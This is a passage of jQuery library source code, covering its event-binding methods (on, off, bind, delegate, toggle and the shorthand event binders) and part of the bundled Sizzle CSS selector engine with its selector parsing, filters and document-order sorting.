teardown: function() {
if ( --attaches === 0 ) {
document.removeEventListener( orig, handler, true );
}
}
};
});
}
jQuery.fn.extend({
on: function( types, selector, data, fn, /*INTERNAL*/ one ) {
var origFn, type;
// Types can be a map of types/handlers
if ( typeof types === "object" ) {
// ( types-Object, selector, data )
if ( typeof selector !== "string" ) { // && selector != null
// ( types-Object, data )
data = data || selector;
selector = undefined;
}
for ( type in types ) {
this.on( type, selector, data, types[ type ], one );
}
return this;
}
if ( data == null && fn == null ) {
// ( types, fn )
fn = selector;
data = selector = undefined;
} else if ( fn == null ) {
if ( typeof selector === "string" ) {
// ( types, selector, fn )
fn = data;
data = undefined;
} else {
// ( types, data, fn )
fn = data;
data = selector;
selector = undefined;
}
}
if ( fn === false ) {
fn = returnFalse;
} else if ( !fn ) {
return this;
}
if ( one === 1 ) {
origFn = fn;
fn = function( event ) {
// Can use an empty set, since event contains the info
jQuery().off( event );
return origFn.apply( this, arguments );
};
// Use same guid so caller can remove using origFn
fn.guid = origFn.guid || ( origFn.guid = jQuery.guid++ );
}
return this.each( function() {
jQuery.event.add( this, types, fn, data, selector );
});
},
one: function( types, selector, data, fn ) {
return this.on( types, selector, data, fn, 1 );
},
off: function( types, selector, fn ) {
var handleObj, type;
if ( types && types.preventDefault && types.handleObj ) {
// ( event ) dispatched jQuery.Event
handleObj = types.handleObj;
jQuery( types.delegateTarget ).off(
handleObj.namespace ? handleObj.origType + "." + handleObj.namespace : handleObj.origType,
handleObj.selector,
handleObj.handler
);
return this;
}
if ( typeof types === "object" ) {
// ( types-object [, selector] )
for ( type in types ) {
this.off( type, selector, types[ type ] );
}
return this;
}
if ( selector === false || typeof selector === "function" ) {
// ( types [, fn] )
fn = selector;
selector = undefined;
}
if ( fn === false ) {
fn = returnFalse;
}
return this.each(function() {
jQuery.event.remove( this, types, fn, selector );
});
},
bind: function( types, data, fn ) {
return this.on( types, null, data, fn );
},
unbind: function( types, fn ) {
return this.off( types, null, fn );
},
live: function( types, data, fn ) {
jQuery( this.context ).on( types, this.selector, data, fn );
return this;
},
die: function( types, fn ) {
jQuery( this.context ).off( types, this.selector || "**", fn );
return this;
},
delegate: function( selector, types, data, fn ) {
return this.on( types, selector, data, fn );
},
undelegate: function( selector, types, fn ) {
// ( namespace ) or ( selector, types [, fn] )
return arguments.length == 1? this.off( selector, "**" ) : this.off( types, selector || "**", fn );
},
trigger: function( type, data ) {
return this.each(function() {
jQuery.event.trigger( type, data, this );
});
},
triggerHandler: function( type, data ) {
if ( this[0] ) {
return jQuery.event.trigger( type, data, this[0], true );
}
},
toggle: function( fn ) {
// Save reference to arguments for access in closure
var args = arguments,
guid = fn.guid || jQuery.guid++,
i = 0,
toggler = function( event ) {
// Figure out which function to execute
var lastToggle = ( jQuery._data( this, "lastToggle" + fn.guid ) || 0 ) % i;
jQuery._data( this, "lastToggle" + fn.guid, lastToggle + 1 );
// Make sure that clicks stop
event.preventDefault();
// and execute the function
return args[ lastToggle ].apply( this, arguments ) || false;
};
// link all the functions, so any of them can unbind this click handler
toggler.guid = guid;
while ( i < args.length ) {
args[ i++ ].guid = guid;
}
return this.click( toggler );
},
hover: function( fnOver, fnOut ) {
return this.mouseenter( fnOver ).mouseleave( fnOut || fnOver );
}
});
jQuery.each( ("blur focus focusin focusout load resize scroll unload click dblclick " +
"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " +
"change select submit keydown keypress keyup error contextmenu").split(" "), function( i, name ) {
// Handle event binding
jQuery.fn[ name ] = function( data, fn ) {
if ( fn == null ) {
fn = data;
data = null;
}
return arguments.length > 0 ?
this.on( name, null, data, fn ) :
this.trigger( name );
};
if ( rkeyEvent.test( name ) ) {
jQuery.event.fixHooks[ name ] = jQuery.event.keyHooks;
}
if ( rmouseEvent.test( name ) ) {
jQuery.event.fixHooks[ name ] = jQuery.event.mouseHooks;
}
});
/*!
* Sizzle CSS Selector Engine
* Copyright 2012 jQuery Foundation and other contributors
* Released under the MIT license
* http://sizzlejs.com/
*/
(function( window, undefined ) {
var cachedruns,
dirruns,
sortOrder,
siblingCheck,
assertGetIdNotName,
document = window.document,
docElem = document.documentElement,
strundefined = "undefined",
hasDuplicate = false,
baseHasDuplicate = true,
done = 0,
slice = [].slice,
push = [].push,
expando = ( "sizcache" + Math.random() ).replace( ".", "" ),
// Regex
// Whitespace characters http://www.w3.org/TR/css3-selectors/#whitespace
whitespace = "[\\x20\\t\\r\\n\\f]",
// http://www.w3.org/TR/css3-syntax/#characters
characterEncoding = "(?:\\\\.|[-\\w]|[^\\x00-\\xa0])+",
// Loosely modeled on CSS identifier characters
// An unquoted value should be a CSS identifier (http://www.w3.org/TR/css3-selectors/#attribute-selectors)
// Proper syntax: http://www.w3.org/TR/CSS21/syndata.html#value-def-identifier
identifier = characterEncoding.replace( "w", "w#" ),
// Acceptable operators http://www.w3.org/TR/selectors/#attribute-selectors
operators = "([*^$|!~]?=)",
attributes = "\\[" + whitespace + "*(" + characterEncoding + ")" + whitespace +
"*(?:" + operators + whitespace + "*(?:(['\"])((?:\\\\.|[^\\\\])*?)\\3|(" + identifier + ")|)|)" + whitespace + "*\\]",
pseudos = ":(" + characterEncoding + ")(?:\\((?:(['\"])((?:\\\\.|[^\\\\])*?)\\2|((?:[^,]|\\\\,|(?:,(?=[^\\[]*\\]))|(?:,(?=[^\\(]*\\))))*))\\)|)",
pos = ":(nth|eq|gt|lt|first|last|even|odd)(?:\\((\\d*)\\)|)(?=[^-]|$)",
combinators = whitespace + "*([\\x20\\t\\r\\n\\f>+~])" + whitespace + "*",
groups = "(?=[^\\x20\\t\\r\\n\\f])(?:\\\\.|" + attributes + "|" + pseudos.replace( 2, 7 ) + "|[^\\\\(),])+",
// Leading and non-escaped trailing whitespace, capturing some non-whitespace characters preceding the latter
rtrim = new RegExp( "^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g" ),
rcombinators = new RegExp( "^" + combinators ),
// All simple (non-comma) selectors, excluding insignifant trailing whitespace
rgroups = new RegExp( groups + "?(?=" + whitespace + "*,|$)", "g" ),
// A selector, or everything after leading whitespace
// Optionally followed in either case by a ")" for terminating sub-selectors
rselector = new RegExp( "^(?:(?!,)(?:(?:^|,)" + whitespace + "*" + groups + ")*?|" + whitespace + "*(.*?))(\\)|$)" ),
// All combinators and selector components (attribute test, tag, pseudo, etc.), the latter appearing together when consecutive
rtokens = new RegExp( groups.slice( 19, -6 ) + "\\x20\\t\\r\\n\\f>+~])+|" + combinators, "g" ),
// Easily-parseable/retrievable ID or TAG or CLASS selectors
rquickExpr = /^(?:#([\w\-]+)|(\w+)|\.([\w\-]+))$/,
rsibling = /[\x20\t\r\n\f]*[+~]/,
rendsWithNot = /:not\($/,
rheader = /h\d/i,
rinputs = /input|select|textarea|button/i,
rbackslash = /\\(?!\\)/g,
matchExpr = {
"ID": new RegExp( "^#(" + characterEncoding + ")" ),
"CLASS": new RegExp( "^\\.(" + characterEncoding + ")" ),
"NAME": new RegExp( "^\\[name=['\"]?(" + characterEncoding + ")['\"]?\\]" ),
"TAG": new RegExp( "^(" + characterEncoding.replace( "[-", "[-\\*" ) + ")" ),
"ATTR": new RegExp( "^" + attributes ),
"PSEUDO": new RegExp( "^" + pseudos ),
"CHILD": new RegExp( "^:(only|nth|last|first)-child(?:\\(" + whitespace +
"*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace +
"*(\\d+)|))" + whitespace + "*\\)|)", "i" ),
"POS": new RegExp( pos, "ig" ),
// For use in libraries implementing .is()
"needsContext": new RegExp( "^" + whitespace + "*[>+~]|" + pos, "i" )
},
classCache = {},
cachedClasses = [],
compilerCache = {},
cachedSelectors = [],
// Mark a function for use in filtering
markFunction = function( fn ) {
fn.sizzleFilter = true;
return fn;
},
// Returns a function to use in pseudos for input types
createInputFunction = function( type ) {
return function( elem ) {
// Check the input's nodeName and type
return elem.nodeName.toLowerCase() === "input" && elem.type === type;
};
},
// Returns a function to use in pseudos for buttons
createButtonFunction = function( type ) {
return function( elem ) {
var name = elem.nodeName.toLowerCase();
return (name === "input" || name === "button") && elem.type === type;
};
},
// Used for testing something on an element
assert = function( fn ) {
var pass = false,
div = document.createElement("div");
try {
pass = fn( div );
} catch (e) {}
// release memory in IE
div = null;
return pass;
},
// Check if attributes should be retrieved by attribute nodes
assertAttributes = assert(function( div ) {
div.innerHTML = "<select></select>";
var type = typeof div.lastChild.getAttribute("multiple");
// IE8 returns a string for some attributes even when not present
return type !== "boolean" && type !== "string";
}),
// Check if getElementById returns elements by name
// Check if getElementsByName privileges form controls or returns elements by ID
assertUsableName = assert(function( div ) {
// Inject content
div.id = expando + 0;
div.innerHTML = "<a name='" + expando + "'></a><div name='" + expando + "'></div>";
docElem.insertBefore( div, docElem.firstChild );
// Test
var pass = document.getElementsByName &&
// buggy browsers will return fewer than the correct 2
document.getElementsByName( expando ).length ===
// buggy browsers will return more than the correct 0
2 + document.getElementsByName( expando + 0 ).length;
assertGetIdNotName = !document.getElementById( expando );
// Cleanup
docElem.removeChild( div );
return pass;
}),
// Check if the browser returns only elements
// when doing getElementsByTagName("*")
assertTagNameNoComments = assert(function( div ) {
div.appendChild( document.createComment("") );
return div.getElementsByTagName("*").length === 0;
}),
// Check if getAttribute returns normalized href attributes
assertHrefNotNormalized = assert(function( div ) {
div.innerHTML = "<a href='#'></a>";
return div.firstChild && typeof div.firstChild.getAttribute !== strundefined &&
div.firstChild.getAttribute("href") === "#";
}),
// Check if getElementsByClassName can be trusted
assertUsableClassName = assert(function( div ) {
// Opera can't find a second classname (in 9.6)
div.innerHTML = "<div class='hidden e'></div><div class='hidden'></div>";
if ( !div.getElementsByClassName || div.getElementsByClassName("e").length === 0 ) {
return false;
}
// Safari caches class attributes, doesn't catch changes (in 3.2)
div.lastChild.className = "e";
return div.getElementsByClassName("e").length !== 1;
});
var Sizzle = function( selector, context, results, seed ) {
results = results || [];
context = context || document;
var match, elem, xml, m,
nodeType = context.nodeType;
if ( nodeType !== 1 && nodeType !== 9 ) {
return [];
}
if ( !selector || typeof selector !== "string" ) {
return results;
}
xml = isXML( context );
if ( !xml && !seed ) {
if ( (match = rquickExpr.exec( selector )) ) {
// Speed-up: Sizzle("#ID")
if ( (m = match[1]) ) {
if ( nodeType === 9 ) {
elem = context.getElementById( m );
// Check parentNode to catch when Blackberry 4.6 returns
// nodes that are no longer in the document #6963
if ( elem && elem.parentNode ) {
// Handle the case where IE, Opera, and Webkit return items
// by name instead of ID
if ( elem.id === m ) {
results.push( elem );
return results;
}
} else {
return results;
}
} else {
// Context is not a document
if ( context.ownerDocument && (elem = context.ownerDocument.getElementById( m )) &&
contains( context, elem ) && elem.id === m ) {
results.push( elem );
return results;
}
}
// Speed-up: Sizzle("TAG")
} else if ( match[2] ) {
push.apply( results, slice.call(context.getElementsByTagName( selector ), 0) );
return results;
// Speed-up: Sizzle(".CLASS")
} else if ( (m = match[3]) && assertUsableClassName && context.getElementsByClassName ) {
push.apply( results, slice.call(context.getElementsByClassName( m ), 0) );
return results;
}
}
}
// All others
return select( selector, context, results, seed, xml );
};
var Expr = Sizzle.selectors = {
// Can be adjusted by the user
cacheLength: 50,
match: matchExpr,
order: [ "ID", "TAG" ],
attrHandle: {},
createPseudo: markFunction,
find: {
"ID": assertGetIdNotName ?
function( id, context, xml ) {
if ( typeof context.getElementById !== strundefined && !xml ) {
var m = context.getElementById( id );
// Check parentNode to catch when Blackberry 4.6 returns
// nodes that are no longer in the document #6963
return m && m.parentNode ? [m] : [];
}
} :
function( id, context, xml ) {
if ( typeof context.getElementById !== strundefined && !xml ) {
var m = context.getElementById( id );
return m ?
m.id === id || typeof m.getAttributeNode !== strundefined && m.getAttributeNode("id").value === id ?
[m] :
undefined :
[];
}
},
"TAG": assertTagNameNoComments ?
function( tag, context ) {
if ( typeof context.getElementsByTagName !== strundefined ) {
return context.getElementsByTagName( tag );
}
} :
function( tag, context ) {
var results = context.getElementsByTagName( tag );
// Filter out possible comments
if ( tag === "*" ) {
var elem,
tmp = [],
i = 0;
for ( ; (elem = results[i]); i++ ) {
if ( elem.nodeType === 1 ) {
tmp.push( elem );
}
}
return tmp;
}
return results;
}
},
relative: {
">": { dir: "parentNode", first: true },
" ": { dir: "parentNode" },
"+": { dir: "previousSibling", first: true },
"~": { dir: "previousSibling" }
},
preFilter: {
"ATTR": function( match ) {
match[1] = match[1].replace( rbackslash, "" );
// Move the given value to match[3] whether quoted or unquoted
match[3] = ( match[4] || match[5] || "" ).replace( rbackslash, "" );
if ( match[2] === "~=" ) {
match[3] = " " + match[3] + " ";
}
return match.slice( 0, 4 );
},
"CHILD": function( match ) {
/* matches from matchExpr.CHILD
1 type (only|nth|...)
2 argument (even|odd|\d*|\d*n([+-]\d+)?|...)
3 xn-component of xn+y argument ([+-]?\d*n|)
4 sign of xn-component
5 x of xn-component
6 sign of y-component
7 y of y-component
*/
match[1] = match[1].toLowerCase();
if ( match[1] === "nth" ) {
// nth-child requires argument
if ( !match[2] ) {
Sizzle.error( match[0] );
}
// numeric x and y parameters for Expr.filter.CHILD
// remember that false/true cast respectively to 0/1
match[3] = +( match[3] ? match[4] + (match[5] || 1) : 2 * ( match[2] === "even" || match[2] === "odd" ) );
match[4] = +( ( match[6] + match[7] ) || match[2] === "odd" );
// other types prohibit arguments
} else if ( match[2] ) {
Sizzle.error( match[0] );
}
return match;
},
"PSEUDO": function( match ) {
var argument,
unquoted = match[4];
if ( matchExpr["CHILD"].test( match[0] ) ) {
return null;
}
// Relinquish our claim on characters in `unquoted` from a closing parenthesis on
if ( unquoted && (argument = rselector.exec( unquoted )) && argument.pop() ) {
match[0] = match[0].slice( 0, argument[0].length - unquoted.length - 1 );
unquoted = argument[0].slice( 0, -1 );
}
// Quoted or unquoted, we have the full argument
// Return only captures needed by the pseudo filter method (type and argument)
match.splice( 2, 3, unquoted || match[3] );
return match;
}
},
filter: {
"ID": assertGetIdNotName ?
function( id ) {
id = id.replace( rbackslash, "" );
return function( elem ) {
return elem.getAttribute("id") === id;
};
} :
function( id ) {
id = id.replace( rbackslash, "" );
return function( elem ) {
var node = typeof elem.getAttributeNode !== strundefined && elem.getAttributeNode("id");
return node && node.value === id;
};
},
"TAG": function( nodeName ) {
if ( nodeName === "*" ) {
return function() { return true; };
}
nodeName = nodeName.replace( rbackslash, "" ).toLowerCase();
return function( elem ) {
return elem.nodeName && elem.nodeName.toLowerCase() === nodeName;
};
},
"CLASS": function( className ) {
var pattern = classCache[ className ];
if ( !pattern ) {
pattern = classCache[ className ] = new RegExp( "(^|" + whitespace + ")" + className + "(" + whitespace + "|$)" );
cachedClasses.push( className );
// Avoid too large of a cache
if ( cachedClasses.length > Expr.cacheLength ) {
delete classCache[ cachedClasses.shift() ];
}
}
return function( elem ) {
return pattern.test( elem.className || (typeof elem.getAttribute !== strundefined && elem.getAttribute("class")) || "" );
};
},
"ATTR": function( name, operator, check ) {
if ( !operator ) {
return function( elem ) {
return Sizzle.attr( elem, name ) != null;
};
}
return function( elem ) {
var result = Sizzle.attr( elem, name ),
value = result + "";
if ( result == null ) {
return operator === "!=";
}
switch ( operator ) {
case "=":
return value === check;
case "!=":
return value !== check;
case "^=":
return check && value.indexOf( check ) === 0;
case "*=":
return check && value.indexOf( check ) > -1;
case "$=":
return check && value.substr( value.length - check.length ) === check;
case "~=":
return ( " " + value + " " ).indexOf( check ) > -1;
case "|=":
return value === check || value.substr( 0, check.length + 1 ) === check + "-";
}
};
},
"CHILD": function( type, argument, first, last ) {
if ( type === "nth" ) {
var doneName = done++;
return function( elem ) {
var parent, diff,
count = 0,
node = elem;
if ( first === 1 && last === 0 ) {
return true;
}
parent = elem.parentNode;
if ( parent && (parent[ expando ] !== doneName || !elem.sizset) ) {
for ( node = parent.firstChild; node; node = node.nextSibling ) {
if ( node.nodeType === 1 ) {
node.sizset = ++count;
if ( node === elem ) {
break;
}
}
}
parent[ expando ] = doneName;
}
diff = elem.sizset - last;
if ( first === 0 ) {
return diff === 0;
} else {
return ( diff % first === 0 && diff / first >= 0 );
}
};
}
return function( elem ) {
var node = elem;
switch ( type ) {
case "only":
case "first":
while ( (node = node.previousSibling) ) {
if ( node.nodeType === 1 ) {
return false;
}
}
if ( type === "first" ) {
return true;
}
node = elem;
/* falls through */
case "last":
while ( (node = node.nextSibling) ) {
if ( node.nodeType === 1 ) {
return false;
}
}
return true;
}
};
},
"PSEUDO": function( pseudo, argument, context, xml ) {
// pseudo-class names are case-insensitive
// http://www.w3.org/TR/selectors/#pseudo-classes
// Prioritize by case sensitivity in case custom pseudos are added with uppercase letters
var fn = Expr.pseudos[ pseudo ] || Expr.pseudos[ pseudo.toLowerCase() ];
if ( !fn ) {
Sizzle.error( "unsupported pseudo: " + pseudo );
}
// The user may set fn.sizzleFilter to indicate
// that arguments are needed to create the filter function
// just as Sizzle does
if ( !fn.sizzleFilter ) {
return fn;
}
return fn( argument, context, xml );
}
},
pseudos: {
"not": markFunction(function( selector, context, xml ) {
// Trim the selector passed to compile
// to avoid treating leading and trailing
// spaces as combinators
var matcher = compile( selector.replace( rtrim, "$1" ), context, xml );
return function( elem ) {
return !matcher( elem );
};
}),
"enabled": function( elem ) {
return elem.disabled === false;
},
"disabled": function( elem ) {
return elem.disabled === true;
},
"checked": function( elem ) {
// In CSS3, :checked should return both checked and selected elements
// http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked
var nodeName = elem.nodeName.toLowerCase();
return (nodeName === "input" && !!elem.checked) || (nodeName === "option" && !!elem.selected);
},
"selected": function( elem ) {
// Accessing this property makes selected-by-default
// options in Safari work properly
if ( elem.parentNode ) {
elem.parentNode.selectedIndex;
}
return elem.selected === true;
},
"parent": function( elem ) {
return !Expr.pseudos["empty"]( elem );
},
"empty": function( elem ) {
// http://www.w3.org/TR/selectors/#empty-pseudo
// :empty is only affected by element nodes and content nodes(including text(3), cdata(4)),
// not comment, processing instructions, or others
// Thanks to Diego Perini for the nodeName shortcut
// Greater than "@" means alpha characters (specifically not starting with "#" or "?")
var nodeType;
elem = elem.firstChild;
while ( elem ) {
if ( elem.nodeName > "@" || (nodeType = elem.nodeType) === 3 || nodeType === 4 ) {
return false;
}
elem = elem.nextSibling;
}
return true;
},
"contains": markFunction(function( text ) {
return function( elem ) {
return ( elem.textContent || elem.innerText || getText( elem ) ).indexOf( text ) > -1;
};
}),
"has": markFunction(function( selector ) {
return function( elem ) {
return Sizzle( selector, elem ).length > 0;
};
}),
"header": function( elem ) {
return rheader.test( elem.nodeName );
},
"text": function( elem ) {
var type, attr;
// IE6 and 7 will map elem.type to 'text' for new HTML5 types (search, etc)
// use getAttribute instead to test this case
return elem.nodeName.toLowerCase() === "input" &&
(type = elem.type) === "text" &&
( (attr = elem.getAttribute("type")) == null || attr.toLowerCase() === type );
},
// Input types
"radio": createInputFunction("radio"),
"checkbox": createInputFunction("checkbox"),
"file": createInputFunction("file"),
"password": createInputFunction("password"),
"image": createInputFunction("image"),
"submit": createButtonFunction("submit"),
"reset": createButtonFunction("reset"),
"button": function( elem ) {
var name = elem.nodeName.toLowerCase();
return name === "input" && elem.type === "button" || name === "button";
},
"input": function( elem ) {
return rinputs.test( elem.nodeName );
},
"focus": function( elem ) {
var doc = elem.ownerDocument;
return elem === doc.activeElement && (!doc.hasFocus || doc.hasFocus()) && !!(elem.type || elem.href);
},
"active": function( elem ) {
return elem === elem.ownerDocument.activeElement;
}
},
setFilters: {
"first": function( elements, argument, not ) {
return not ? elements.slice( 1 ) : [ elements[0] ];
},
"last": function( elements, argument, not ) {
var elem = elements.pop();
return not ? elements : [ elem ];
},
"even": function( elements, argument, not ) {
var results = [],
i = not ? 1 : 0,
len = elements.length;
for ( ; i < len; i = i + 2 ) {
results.push( elements[i] );
}
return results;
},
"odd": function( elements, argument, not ) {
var results = [],
i = not ? 0 : 1,
len = elements.length;
for ( ; i < len; i = i + 2 ) {
results.push( elements[i] );
}
return results;
},
"lt": function( elements, argument, not ) {
return not ? elements.slice( +argument ) : elements.slice( 0, +argument );
},
"gt": function( elements, argument, not ) {
return not ? elements.slice( 0, +argument + 1 ) : elements.slice( +argument + 1 );
},
"eq": function( elements, argument, not ) {
var elem = elements.splice( +argument, 1 );
return not ? elements : elem;
}
}
};
// Deprecated
Expr.setFilters["nth"] = Expr.setFilters["eq"];
// Back-compat
Expr.filters = Expr.pseudos;
// IE6/7 return a modified href
if ( !assertHrefNotNormalized ) {
Expr.attrHandle = {
"href": function( elem ) {
return elem.getAttribute( "href", 2 );
},
"type": function( elem ) {
return elem.getAttribute("type");
}
};
}
// Add getElementsByName if usable
if ( assertUsableName ) {
Expr.order.push("NAME");
Expr.find["NAME"] = function( name, context ) {
if ( typeof context.getElementsByName !== strundefined ) {
return context.getElementsByName( name );
}
};
}
// Add getElementsByClassName if usable
if ( assertUsableClassName ) {
Expr.order.splice( 1, 0, "CLASS" );
Expr.find["CLASS"] = function( className, context, xml ) {
if ( typeof context.getElementsByClassName !== strundefined && !xml ) {
return context.getElementsByClassName( className );
}
};
}
// If slice is not available, provide a backup
try {
slice.call( docElem.childNodes, 0 )[0].nodeType;
} catch ( e ) {
slice = function( i ) {
var elem, results = [];
for ( ; (elem = this[i]); i++ ) {
results.push( elem );
}
return results;
};
}
var isXML = Sizzle.isXML = function( elem ) {
// documentElement is verified for cases where it doesn't yet exist
// (such as loading iframes in IE - #4833)
var documentElement = elem && (elem.ownerDocument || elem).documentElement;
return documentElement ? documentElement.nodeName !== "HTML" : false;
};
// Element contains another
var contains = Sizzle.contains = docElem.compareDocumentPosition ?
function( a, b ) {
return !!( a.compareDocumentPosition( b ) & 16 );
} :
docElem.contains ?
function( a, b ) {
var adown = a.nodeType === 9 ? a.documentElement : a,
bup = b.parentNode;
return a === bup || !!( bup && bup.nodeType === 1 && adown.contains && adown.contains(bup) );
} :
function( a, b ) {
while ( (b = b.parentNode) ) {
if ( b === a ) {
return true;
}
}
return false;
};
/**
* Utility function for retrieving the text value of an array of DOM nodes
* @param {Array|Element} elem
*/
var getText = Sizzle.getText = function( elem ) {
var node,
ret = "",
i = 0,
nodeType = elem.nodeType;
if ( nodeType ) {
if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) {
// Use textContent for elements
// innerText usage removed for consistency of new lines (see #11153)
if ( typeof elem.textContent === "string" ) {
return elem.textContent;
} else {
// Traverse its children
for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) {
ret += getText( elem );
}
}
} else if ( nodeType === 3 || nodeType === 4 ) {
return elem.nodeValue;
}
// Do not include comment or processing instruction nodes
} else {
// If no nodeType, this is expected to be an array
for ( ; (node = elem[i]); i++ ) {
// Do not traverse comment nodes
ret += getText( node );
}
}
return ret;
};
Sizzle.attr = function( elem, name ) {
var attr,
xml = isXML( elem );
if ( !xml ) {
name = name.toLowerCase();
}
if ( Expr.attrHandle[ name ] ) {
return Expr.attrHandle[ name ]( elem );
}
if ( assertAttributes || xml ) {
return elem.getAttribute( name );
}
attr = elem.getAttributeNode( name );
return attr ?
typeof elem[ name ] === "boolean" ?
elem[ name ] ? name : null :
attr.specified ? attr.value : null :
null;
};
Sizzle.error = function( msg ) {
throw new Error( "Syntax error, unrecognized expression: " + msg );
};
// Check if the JavaScript engine is using some sort of
// optimization where it does not always call our comparision
// function. If that is the case, discard the hasDuplicate value.
// Thus far that includes Google Chrome.
[0, 0].sort(function() {
return (baseHasDuplicate = 0);
});
if ( docElem.compareDocumentPosition ) {
sortOrder = function( a, b ) {
if ( a === b ) {
hasDuplicate = true;
return 0;
}
return ( !a.compareDocumentPosition || !b.compareDocumentPosition ?
a.compareDocumentPosition :
a.compareDocumentPosition(b) & 4
) ? -1 : 1;
};
} else {
sortOrder = function( a, b ) {
// The nodes are identical, we can exit early
if ( a === b ) {
hasDuplicate = true;
return 0;
// Fallback to using sourceIndex (in IE) if it's available on both nodes
} else if ( a.sourceIndex && b.sourceIndex ) {
return a.sourceIndex - b.sourceIndex;
}
var al, bl,
ap = [],
bp = [],
aup = a.parentNode,
bup = b.parentNode,
cur = aup;
// If the nodes are siblings (or identical) we can do a quick check
if ( aup === bup ) {
return siblingCheck( a, b );
// If no parents were found then the nodes are disconnected
} else if ( !aup ) {
return -1;
} else if ( !bup ) {
return 1;
}
// Otherwise they're somewhere else in the tree so we need
// to build up a full list of the parentNodes for comparison
while ( cur ) {
ap.unshift( cur );
cur = cur.parentNode;
}
cur = bup;
while ( cur ) {
bp.unshift( cur );
cur = cur.parentNode;
}
al = ap.length;
bl = bp.length;
// Start walking down the tree looking for a discrepancy
for ( var i = 0; i < al && i < bl; i++ ) {
if ( ap[i] !== bp[i] ) {
return siblingCheck( ap[i], bp[i] );
}
}
// We ended someplace up the tree so do a sibling check
return i === al ?
siblingCheck( a, bp[i], -1 ) :
siblingCheck( ap[i], b, 1 );
};
siblingCheck = function( a, b, ret ) {
if ( a === b ) {
return ret;
}
var cur = a.nextSibling;
while ( cur ) {
if ( cur === b ) {
return -1;
}
cur = cur.nextSibling;
}
return 1;
};
}
// Document sorting and removing duplicates
Sizzle.uniqueSort = function( results ) {
var elem,
i = 1;
if ( sortOrder ) {
hasDuplicate = baseHasDuplicate;
results.sort( sortOrder );
if ( hasDuplicate ) {
for ( ; (elem = results[i]); i++ ) {
if ( elem === results[ i - 1 ] ) {
results.splice( i--, 1 );
}
}
}
}
return results;
};
function multipleContexts( selector, contexts, results, seed ) {
var i = 0,
len = contexts.length;
for ( ; i < len; i++ ) {
Sizzle( selector, contexts[i], results, seed );
}
}
function handlePOSGroup( selector, posfilter, argument, contexts, seed, not ) {
var results,
fn = Expr.setFilters[ posfilter.toLowerCase() ];
if ( !fn ) {
Sizzle.error( posfilter );
}
if ( selector || !(results = seed) ) {
multipleContexts( selector || "*", contexts, (results = []), seed );
}
return results.length > 0 ? fn( results, argument, not ) : [];
}
function handlePOS( selector, context, results, seed, groups ) {
var match, not, anchor, ret, elements, currentContexts, part, lastIndex,
i = 0,
len = groups.length,
rpos = matchExpr["POS"],
// This is generated here in case matchExpr["POS"] is extended
rposgroups = new RegExp( "^" + rpos.source + "(?!" + whitespace + ")", "i" ),
// This is for making sure non-participating
// matching groups are represented cross-browser (IE6-8)
setUndefined = function() {
var i = 1,
len = arguments.length - 2;
for ( ; i < len; i++ ) {
if ( arguments[i] === undefined ) {
match[i] = undefined;
}
}
};
for ( ; i < len; i++ ) {
// Reset regex index to 0
rpos.exec("");
selector = groups[i];
ret = [];
anchor = 0;
elements = seed;
while ( (match = rpos.exec( selector )) ) {
lastIndex = rpos.lastIndex = match.index + match[0].length;
if ( lastIndex > anchor ) {
part = selector.slice( anchor, match.index );
anchor = lastIndex;
currentContexts = [ context ];
if ( rcombinators.test(part) ) {
if ( elements ) {
currentContexts = elements;
}
elements = seed;
}
if ( (not = rendsWithNot.test( part )) ) {
part = part.slice( 0, -5 ).replace( rcombinators, "$&*" );
}
if ( match.length > 1 ) {
match[0].replace( rposgroups, setUndefined );
}
elements = handlePOSGroup( part, match[1], match[2], currentContexts, elements, not );
}
}
if ( elements ) {
ret = ret.concat( elements );
if ( (part = selector.slice( anchor )) && part !== ")" ) {
if ( rcombinators.test(part) ) {
multipleContexts( part, ret, results, seed );
} else {
Sizzle( part, context, results, seed ? seed.concat(elements) : elements );
}
} else {
push.apply( results, ret );
}
} else {
Sizzle( selector, context, results, seed );
}
}
// Do not sort if this is a single filter
return len === 1 ? results : Sizzle.uniqueSort( results );
}
function tokenize( selector, context, xml ) {
var tokens, soFar, type,
groups = [],
i = 0,
// Catch obvious selector issues: terminal ")"; nonempty fallback match
// rselector never fails to match *something*
match = rselector.exec( selector ),
matched = !match.pop() && !match.pop(),
selectorGroups = matched && selector.match( rgroups ) || [""],
preFilters = Expr.preFilter,
filters = Expr.filter,
checkContext = !xml && context !== document;
for ( ; (soFar = selectorGroups[i]) != null && matched; i++ ) {
groups.push( tokens = [] );
// Need to make sure we're within a narrower context if necessary
// Adding a descendant combinator will generate what is needed
if ( checkContext ) {
soFar = " " + soFar;
}
while ( soFar ) {
matched = false;
// Combinators
if ( (match = rcombinators.exec( soFar )) ) {
soFar = soFar.slice( match[0].length );
// Cast descendant combinators to space
matched = tokens.push({ part: match.pop().replace( rtrim, " " ), captures: match });
}
// Filters
for ( type in filters ) {
if ( (match = matchExpr[ type ].exec( soFar )) && (!preFilters[ type ] ||
(match = preFilters[ type ]( match, context, xml )) ) ) {
soFar = soFar.slice( match.shift().length );
matched = tokens.push({ part: type, captures: match });
}
}
if ( !matched ) {
break;
}
}
}
if ( !matched ) {
Sizzle.error( selector );
}
return groups;
}
function addCombinator( matcher, combinator, context ) {
var dir = combinator.dir,
doneName = done++;
if ( !matcher ) {
// If there is no matcher to check, check against the context
matcher = function( elem ) {
return elem === context;
};
}
return combinator.first ?
function( elem, context ) {
while ( (elem = elem[ dir ]) ) {
if ( elem.nodeType === 1 ) {
return matcher( elem, context ) && elem;
}
}
} :
function( elem, context ) {
var cache,
dirkey = doneName + "." + dirruns,
cachedkey = dirkey + "." + cachedruns;
while ( (elem = elem[ dir ]) ) {
if ( elem.nodeType === 1 ) {
if ( (cache = elem[ expando ]) === cachedkey ) {
return elem.sizset;
} else if ( typeof cache === "string" && cache.indexOf(dirkey) === 0 ) {
if ( elem.sizset ) {
return elem;
}
} else {
elem[ expando ] = cachedkey;
if ( matcher( elem, context ) ) {
elem.sizset = true;
return elem;
}
elem.sizset = false;
}
}
}
};
}
function addMatcher( higher, deeper ) {
return higher ?
function( elem, context ) {
var result = deeper( elem, context );
return result && higher( result === true ? elem : result, context );
} :
deeper;
}
// ["TAG", ">", "ID", " ", "CLASS"]
function matcherFromTokens( tokens, context, xml ) {
